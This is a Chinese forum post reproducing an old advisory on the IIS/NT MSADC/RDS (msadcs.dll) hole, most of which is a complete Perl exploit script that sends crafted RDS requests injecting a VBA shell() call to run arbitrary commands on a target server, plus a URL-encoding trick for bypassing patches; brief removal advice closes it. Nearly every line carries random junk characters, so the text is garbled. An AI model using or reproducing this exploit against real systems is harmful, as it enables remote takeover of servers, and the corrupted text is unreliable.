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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ecZOX$'5  
%PdYv _5  
涉及程序: MirBJL  
Microsoft NT server 8Gg/M%wq9U  
|21hY  
描述: RowiSW  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 g7LW?Ewr  
^?]H$e  
详细: LP-Q'vb<=  
如果你没有时间读详细内容的话,就删除: z(X6%p0  
c:\Program Files\Common Files\System\Msadc\msadcs.dll _%Ld E z  
有关的安全问题就没有了。 J9=0?^v-:B  
JIKxY$GS  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 EM w(%}8w  
})SdaZ  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 X|1YGZJ  
关于利用ODBC远程漏洞的描述,请参看: !K~$ -jlT  
@d^h/w  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm gI5nWEM0{  
Q!e0Vb  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 7-IeJ6,D  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp |< FCt-U  
"jc)N46  
这里不再论述。 LbbQ3$@ WD  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ~tuFjj^  
Z:$b)+2:\  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset xy3%z  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! b{>dOI*.}  
7<o;3gR7Kj  
.) ;:K  
#将下面这段保存为txt文件,然后: "perl -x 文件名" O:p649A  
dTQvz9C  
#!perl }/r%~cZ  
# _:p_#3s$  
# MSADC/RDS 'usage' (aka exploit) script }Y ];ccT  
# tRBK1h  
# by rain.forest.puppy l'%R^  
# ^|;4/=bbs  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me R./6Q1  
# beta test and find errors! {1DYXKe  
jF_I4H  
use Socket; use Getopt::Std; c+/C7C o  
getopts("e:vd:h:XR", \%args); Iw7r}G  
I8;[DP9  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; F/>Pv q]  
rg/vxTl  
if (!defined $args{h} && !defined $args{R}) { azc:C  
print qq~ emPm^M5/K  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 7O^ S.(  
-h <host> = host you want to scan (ip or domain) :=eUNH  
-d <seconds> = delay between calls, default 1 second 8vW`E_n  
-X = dump Index Server path table, if available 0%NI- Zyo  
-v = verbose (+ anTA=  
-e = external dictionary file for step 5 :Rj,'uH+h)  
n1(X%%2  
Or a -R will resume a command session r$Qh`[<  
K)\gbQ|  
~; exit;} m9c T}x&j  
ah9',((!  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 9G/2^PI  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} !z 5d+ M  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} wu&7#![,  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); qDd/wR,44  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} /mu4J|[[  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } E2kRt'~N  
JW'acD  
if (!defined $args{R}){ $ret = &has_msadc; hP<qKVy  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} d( g_y m*  
7e[\0:Z  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" j1+Y=@MA  
. "cmd /c "; zL8A?G)= M  
$in=<STDIN>; chomp $in; + aqo8'a  
$command="cmd /c " . $in ; Kp8T;&<Iay  
s2=X>,kz?  
if (defined $args{R}) {&load; exit;} &ru0i@?)  
Rj`Y X0?+  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; nW'x#0-  
&try_btcustmr; _u2  
kk+8NwM1  
print "\nStep 2: Trying to make our own DSN..."; C~V$G}mM  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; m kf{_!TK  
toJ&$HrE  
print "\nStep 3: Trying known DSNs..."; j)qh>y)  
&known_dsn; 3[Iw%% q  
 )6+W6:  
print "\nStep 4: Trying known .mdbs..."; AI;=k  
&known_mdb; 0Jh:6F  
*=@pdQkR  
if (defined $args{e}){ t&]Mt 7  
print "\nStep 5: Trying dictionary of DSN names..."; E/']M~Q  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 6J+ZeBk??  
{?hjx+v[  
print "Sorry Charley...maybe next time?\n"; 0%+k>(@ R  
exit; @ RBwT  
:%MWbnVSC,  
############################################################################## hz<J8'U  
K*FAngIB  
sub sendraw { # ripped and modded from whisker 0+pJv0u  
sleep($delay); # it's a DoS on the server! At least on mine... .9Fm>e+!C  
my ($pstr)=@_; BG=_i#V  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || c$fM6M }  
die("Socket problems\n"); Ngnjr7Q={T  
if(connect(S,pack "SnA4x8",2,80,$target)){ nB& 8=.  
select(S); $|=1; ,$-PC=Ti(  
print $pstr; my @in=<S>; L9oZ7o  
select(STDOUT); close(S); H]X)@n>  
return @in; EPy/6-5b  
} else { die("Can't connect...\n"); }} Q4q#/z  
?9TogW>W  
############################################################################## 'VEpVo/  
{hz :[  
sub make_header { # make the HTTP request Din)5CxFX  
my $msadc=<<EOT K^ \9R  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 'DQyB`V2y  
User-Agent: ACTIVEDATA pASVnXJZ  
Host: $ip 9To6Rc;  
Content-Length: $clen \/v$$1p2  
Connection: Keep-Alive *Fws]y2t~  
sKO ;p  
ADCClientVersion:01.06 )zo ;r!eP  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 I#U44+c  
j83 V$ Le  
--!ADM!ROX!YOUR!WORLD! Q>$L;1E*,  
Content-Type: application/x-varg kM`#U *j  
Content-Length: $reqlen 9l]IE,u  
|3m%d2V*hF  
EOT uL F55:`<  
; $msadc=~s/\n/\r\n/g; >k|[U[@  
return $msadc;} e_V(G  
p;Kr664  
############################################################################## >B7OTGw  
PK" C+o;:  
sub make_req { # make the RDS request 7l3q~dQ  
my ($switch, $p1, $p2)=@_; q =6 Y2Q  
my $req=""; my $t1, $t2, $query, $dsn; A4' aB0^  
@jKB!z9{  
if ($switch==1){ # this is the btcustmr.mdb query n4johV.#  
$query="Select * from Customers where City=" . make_shell(); K>y+3HN[6  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . <H6Uo#ao  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 4+Y5u4 `t  
\.] U  
elsif ($switch==2){ # this is general make table query e$=|-J z  
$query="create table AZZ (B int, C varchar(10))"; 9OUhV [D  
$dsn="$p1";} S}X:LHr*  
rY}ofq7b  
elsif ($switch==3){ # this is general exploit table query p~IvkW>ln)  
$query="select * from AZZ where C=" . make_shell(); d%bL_I)  
$dsn="$p1";} tO7{g  
T*m21<  
elsif ($switch==4){ # attempt to hork file info from index server p<4':s;*  
$query="select path from scope()"; 9"S3AEI  
$dsn="Provider=MSIDXS;";} '! (`?  
UB}mI0/w  
elsif ($switch==5){ # bad query u:ISwAp  
$query="select"; :%{7Q$Xv<  
$dsn="$p1";} Kl?1)u3^4  
ikQ2x]Sp  
$t1= make_unicode($query); rNc>1}DDS  
$t2= make_unicode($dsn); *F0N'*  
$req = "\x02\x00\x03\x00"; {y'k wU  
$req.= "\x08\x00" . pack ("S1", length($t1)); d yd_dK/  
$req.= "\x00\x00" . $t1 ; jLTs1`I/F  
$req.= "\x08\x00" . pack ("S1", length($t2)); D$HxPfDZ  
$req.= "\x00\x00" . $t2 ; srL,9)O C  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; YSbN=Rj  
return $req;} uypD`%pC  
LKa_ofY  
############################################################################## V 6F,X`7  
TL>e[ PBO  
sub make_shell { # this makes the shell() statement /hQ!dU.+  
return "'|shell(\"$command\")|'";} X}$S|1CjO  
@kw=0  
############################################################################## T[~X~dqwn"  
\B)<<[ $  
sub make_unicode { # quick little function to convert to unicode v|6fqG+Q\  
my ($in)=@_; my $out; y@I"Hk<T  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } pN[i%\vh  
return $out;} VMp6s%m  
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############################################################################## *L=CJg  
''G @n*  
sub rdo_success { # checks for RDO return success (this is kludge) ^s5)FdF8  
my (@in) = @_; my $base=content_start(@in); 2;/hFwm  
if($in[$base]=~/multipart\/mixed/){ $3>|R lxYA  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Go4l#6  
return 0;} "TPMSx&Ei  
#/T)9=m  
############################################################################## <3HJkcYGz  
A.n1|Q#  
sub make_dsn { # this makes a DSN for us RW 5T}  
my @drives=("c","d","e","f"); y}A-o_u@cD  
print "\nMaking DSN: "; T~la,>p|}  
foreach $drive (@drives) { c}A^0,"z>  
print "$drive: "; TO<g@u]*  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . VuGSP]$q  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" YpJzRm{Ra  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Hogr#Sn2  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; |c) #zSv  
return 0 if $2 eq "404"; # not found/doesn't exist ec|IT0;  
if($2 eq "200") { {PZe!EQ  
foreach $line (@results) { 3iB8QO;pp  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Nbr{)h  
} return 0;} @:}z\qBM  
piU4%EO  
############################################################################## ,M9'S;&^  
I/'>Bn+  
sub verify_exists { . @.CQB=E  
my ($page)=@_; 0/c4%+ Ln  
my @results=sendraw("GET $page HTTP/1.0\n\n"); - 0zo>[c/p  
return $results[0];} $/Mk.(3'P  
~34$D],D  
############################################################################## QeGU]WU{  
1z)+P1nH]  
sub try_btcustmr { {z w#My   
my @drives=("c","d","e","f"); gCmGFQE-f  
my @dirs=("winnt","winnt35","winnt351","win","windows"); V5=Injs *  
<R2bz1!h.  
foreach $dir (@dirs) { dpy,;nqzeN  
print "$dir -> "; # fun status so you can see progress k,2% %m  
foreach $drive (@drives) { 8_>R'u[  
print "$drive: "; # ditto *fE5Z;!}  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; *{uu_O  
$reqlenlen=length( "$reqlen" ); )[A}h'J)  
$clen= 206 + $reqlenlen + $reqlen; ,W.O*vCA  
7Ev~yY;N  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); d%WFgf}  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Q,scjt[  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} k vb"n}  
ak R*|iK#b  
############################################################################## 1Z`zdZs  
!$j'F?2 >  
sub odbc_error { 3 Tt8#B  
my (@in)=@_; my $base; k7j;'6  
my $base = content_start(@in); 56fcifXz@  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this IlH*s/  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .69{GM?  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; by- B).7  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; b(wiJ&t  
return $in[$base+4].$in[$base+5].$in[$base+6];} ,$*$w<  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 'E9\V\bi  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Q WOd&=:  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ^+-i7`|=  
Yt&^ i(  
############################################################################## 1&U U6|X  
AtSEKpKc  
sub verbose { %.]qkGZe#  
my ($in)=@_; +ft?aB@  
return if !$verbose; =h4XsV)rO  
print STDOUT "\n$in\n";} ;:v:pg8qc  
d35,[  
############################################################################## |',Gy\Sj  
B7cXbUAQs  
sub save { O`*}N1No[  
my ($p1, $p2, $p3, $p4)=@_; *edB3!!  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; vuHqOAFNs  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; m/<7FU8  
close OUT;} Uc.K6%iI  
\ZXH(N*>2t  
############################################################################## ]2?t $"G8  
Z O&5C6qa  
sub load { %|UCs8EFm  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; (R{W Jjj  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); )nQ.6  
@p=<IN>; close(IN); cO' \s  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); g^=p)h3  
$target= inet_aton($ip) || die("inet_aton problems"); p9 %7h.  
print "Resuming to $ip ..."; ='a$>JVJ5  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; XSXS;Fh)  
if($p[1]==1) { Nb-;D)W;B  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 1I_(!F{Ho  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ~h -0rE  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); c'[l%4U8[  
if (rdo_success(@results)){print "Success!\n";} 5MT$n4zKu  
else { print "failed\n"; verbose(odbc_error(@results));}} -r[l{ce  
elsif ($p[1]==3){ l9\ *G;  
if(run_query("$p[3]")){ "+p_{J/P  
print "Success!\n";} else { print "failed\n"; }} b3W@{je  
elsif ($p[1]==4){ ;:f.a(~c  
if(run_query($drvst . "$p[3]")){ ;8H m#p7,  
print "Success!\n"; } else { print "failed\n"; }} 7&E3d P  
exit;} %6L{Z*(  
,'[0tl}8K  
############################################################################## OQA}+XO  
Fe}Dnv)}Z  
sub create_table { (z\@T`6`  
my ($in)=@_; %+qD-{&  
$reqlen=length( make_req(2,$in,"") ) - 28; "d9"Md0k  
$reqlenlen=length( "$reqlen" ); h>9GfF3  
$clen= 206 + $reqlenlen + $reqlen; }5\F<b^@Y  
my @results=sendraw(make_header() . make_req(2,$in,"")); LNtBYdB`pK  
return 1 if rdo_success(@results); iCnKQG  
my $temp= odbc_error(@results); verbose($temp); Ng2qu!F7  
return 1 if $temp=~/Table 'AZZ' already exists/; kU0e;r1N  
return 0;} .hXxh)F  
Q YPsqkF*  
############################################################################## YhRES]^  
|X0h-kX4  
sub known_dsn { 6Gwk*%sb  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go h,45-#+  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", `$7. (.#s  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ,,OO2EgZ`  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); pri=;I(2A  
b 'jZ4{+W  
foreach $dSn (@dsns) { /{6PwlP5  
print "."; P-.>vi^+  
next if (!is_access("DSN=$dSn")); u?i_N0H  
if(create_table("DSN=$dSn")){ 8i;EpAwB  
print "$dSn successful\n"; h${+{1](6  
if(run_query("DSN=$dSn")){ f.4r'^  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { x=(Q$Hl5  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 'gI q_t|^  
To.CY^M  
############################################################################## "k[-eFz/@M  
;N#d'E\  
sub is_access { E9i M-Lw  
my ($in)=@_; 1YL6:5n  
$reqlen=length( make_req(5,$in,"") ) - 28; =Q>'?w>  
$reqlenlen=length( "$reqlen" ); x4Q*~,n  
$clen= 206 + $reqlenlen + $reqlen; >+ul LQqe  
my @results=sendraw(make_header() . make_req(5,$in,"")); f%<kcM2  
my $temp= odbc_error(@results); Cz` !j  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); p3`ND;KQ  
return 0;} 2r4owB?  
h\k@7wgu  
############################################################################## BIqZg$  
TCWy^8LA  
sub run_query { @z[,w`  
my ($in)=@_; 0Z $=2c?xT  
$reqlen=length( make_req(3,$in,"") ) - 28; ..'k+0u^  
$reqlenlen=length( "$reqlen" ); cks53/Z  
$clen= 206 + $reqlenlen + $reqlen; ~PAF2  
my @results=sendraw(make_header() . make_req(3,$in,"")); $dIu${lu  
return 1 if rdo_success(@results); >MwjUq  
my $temp= odbc_error(@results); verbose($temp); AwN7/M~'  
return 0;} I&%{%*y  
ji9 (!G  
############################################################################## "^Y)&<J&  
{}RE;5n\['  
sub known_mdb { }86&? 0j.  
my @drives=("c","d","e","f","g"); O/ Yz6VQ  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ^E{M[;sF3y  
my $dir, $drive, $mdb; bk^W]<:z`  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Ws$<B b  
'RZ=A+%X  
# this is sparse, because I don't know of many  3 c #oK  
my @sysmdbs=( "\\catroot\\icatalog.mdb", >zx]% W  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", <+o*"z\mI  
"\\system32\\certmdb.mdb", 1$mxMXNsJ  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 'Km ~3t  
sxc^n aK0  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Vz_ac vfk^  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ~QzUQYG*  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", J8IdQ:4^l  
"\\cfusion\\cfapps\\security\\realm_.mdb", P5-1z&9O  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", =A[:]),v  
"\\cfusion\\database\\cfexamples.mdb", ts|dk%  
"\\cfusion\\database\\cfsnippets.mdb", `TwDR6&  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", YD>5zV%!D  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 3h N?l :/b  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Zcst$Aro  
"\\cfusion\\database\\smpolicy.mdb", :buH\LB*P  
"\\cfusion\\database\cypress.mdb", 17kh6(X  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", qTxw5.Ai!  
"\\website\\cgi-win\\dbsample.mdb", cC@.&  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", D#"BY; J  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" YNHQbsZUI,  
); #these are just _:"PBN9  
foreach $drive (@drives) { 7uy?%5  
foreach $dir (@dirs){ f+3ico]f@  
foreach $mdb (@sysmdbs) { ~hiJOaCzM  
print "."; 1V ?)T  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ q+<<Ku(20  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; n/]w!  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ $FR1^|P/G  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; JzuU k  
} else { print "Something's borked. Use verbose next time\n"; }}}}} o9GtS$ O\  
bzj9U>eY  
foreach $drive (@drives) { cl2+,!:  
foreach $mdb (@mdbs) { TgC8EcLr  
print "."; 'DLgOUvh  
if(create_table($drv . $drive . $dir . $mdb)){ 10.u  
print "\n" . $drive . $dir . $mdb . " successful\n"; I'sq0^  
if(run_query($drv . $drive . $dir . $mdb)){ `eZ +Pf".  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; -!_\4  
} else { print "Something's borked. Use verbose next time\n"; }}}} 1=o|[7  
} m 0jm$> :Z  
''. P=  
############################################################################## Q#gzk%jL@  
'2LK(uaU  
sub hork_idx { 0 $Ygt0d  
print "\nAttempting to dump Index Server tables...\n"; &ZyZmB  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 8nV#\J9  
$reqlen=length( make_req(4,"","") ) - 28;  x&^>|'H  
$reqlenlen=length( "$reqlen" ); *,x-}%X  
$clen= 206 + $reqlenlen + $reqlen; d;:H#F+ (  
my @results=sendraw2(make_header() . make_req(4,"","")); 7tZvz `\  
if (rdo_success(@results)){ XHN*'@ 77;  
my $max=@results; my $c; my %d; $!Qv f  
for($c=19; $c<$max; $c++){ WF#3'"I  
$results[$c]=~s/\x00//g; yZHh@W4v  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; >{ /As][  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; lRO7 Ae  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; %KjvV<f-a  
$d{"$1$2"}="";} :6h$1 +6  
foreach $c (keys %d){ print "$c\n"; } J~jxmh  
} else {print "Index server doesn't seem to be installed.\n"; }} 322)r$!"  
N"',  
############################################################################## nO;*Peob  
-=;V*;  
sub dsn_dict { _R/^P>Q?  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); D6Q6yNE  
while(<IN>){ 8?yRa{'"  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; o x|K2A  
next if (!is_access("DSN=$dSn")); ?v5OUmFM  
if(create_table("DSN=$dSn")){ OCX>LK!K  
print "$dSn successful\n"; J`I^F:y*  
if(run_query("DSN=$dSn")){ !Py SYY  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { LvM;ZfAEv  
print "Something's borked. Use verbose next time\n";}}} 0aWy!d  
print "\n"; close(IN);} 5u:{lcC.X  
3AQu\4+A  
############################################################################## V eD<1<  
'c[|\M!u  
sub sendraw2 { # ripped and modded from whisker o)B`K."  
sleep($delay); # it's a DoS on the server! At least on mine... v,eTDgw  
my ($pstr)=@_; jsp)e=  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 7RpAsLH=  
die("Socket problems\n"); 'B"A*!" b  
if(connect(S,pack "SnA4x8",2,80,$target)){ &x mYpQ  
print "Connected. Getting data"; G=VbEL^H  
open(OUT,">raw.out"); my @in; {e/6iSpT  
select(S); $|=1; print $pstr; U=Hx&g  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Hyn*O)q!  
close(OUT); select(STDOUT); close(S); return @in; HNMVs]/e  
} else { die("Can't connect...\n"); }} P&g.%8b~84  
n1E^8[~'  
############################################################################## Qnr7Qnb  
H?H(=  
sub content_start { # this will take in the server headers bP+b~!3  
my (@in)=@_; my $c; L_~vPp  
for ($c=1;$c<500;$c++) { ' K\ $B_  
if($in[$c] =~/^\x0d\x0a/){ d*cAm$  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } .[Hv/?L  
else { return $c+1; }}} H)@f_pfj(  
return -1;} # it should never get here actually qX_( M2oLU  
<H]1 6  
############################################################################## l)P~#G+C  
[t{ed)J  
sub funky { #"PRsMUw  
my (@in)=@_; my $error=odbc_error(@in); =QG0:z)K<v  
if($error=~/ADO could not find the specified provider/){ {=Y3[  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; wOg?.6<Kxa  
exit;} KD(}-zUs  
if($error=~/A Handler is required/){ .ou#BWav/  
print "\nServer has custom handler filters (they most likely are patched)\n"; 0*4h}t9j  
exit;} USrBi[_ci\  
if($error=~/specified Handler has denied Access/){ VNggDKS~K  
print "\nServer has custom handler filters (they most likely are patched)\n"; :enmMB#%  
exit;}} ? CabVj-r  
OZCbMeB{+J  
############################################################################## IPTEOA<M[  
q\I2lZ  
sub has_msadc { 9FKowF_8  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");  W]aX}>0  
my $base=content_start(@results); jn:9Cr,o;g  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); qiyX{J7Z  
return 0;} OtsW>L@ O(  
"'9[c"Iz  
######################## dU<qFxW  
`9>1 w d  
9|K3xH  
解决方案: (Z)F6sZ`8  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 2$@N4  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 q2U8]V U)  
'U|Tye i?  
拿出来充数 哈哈
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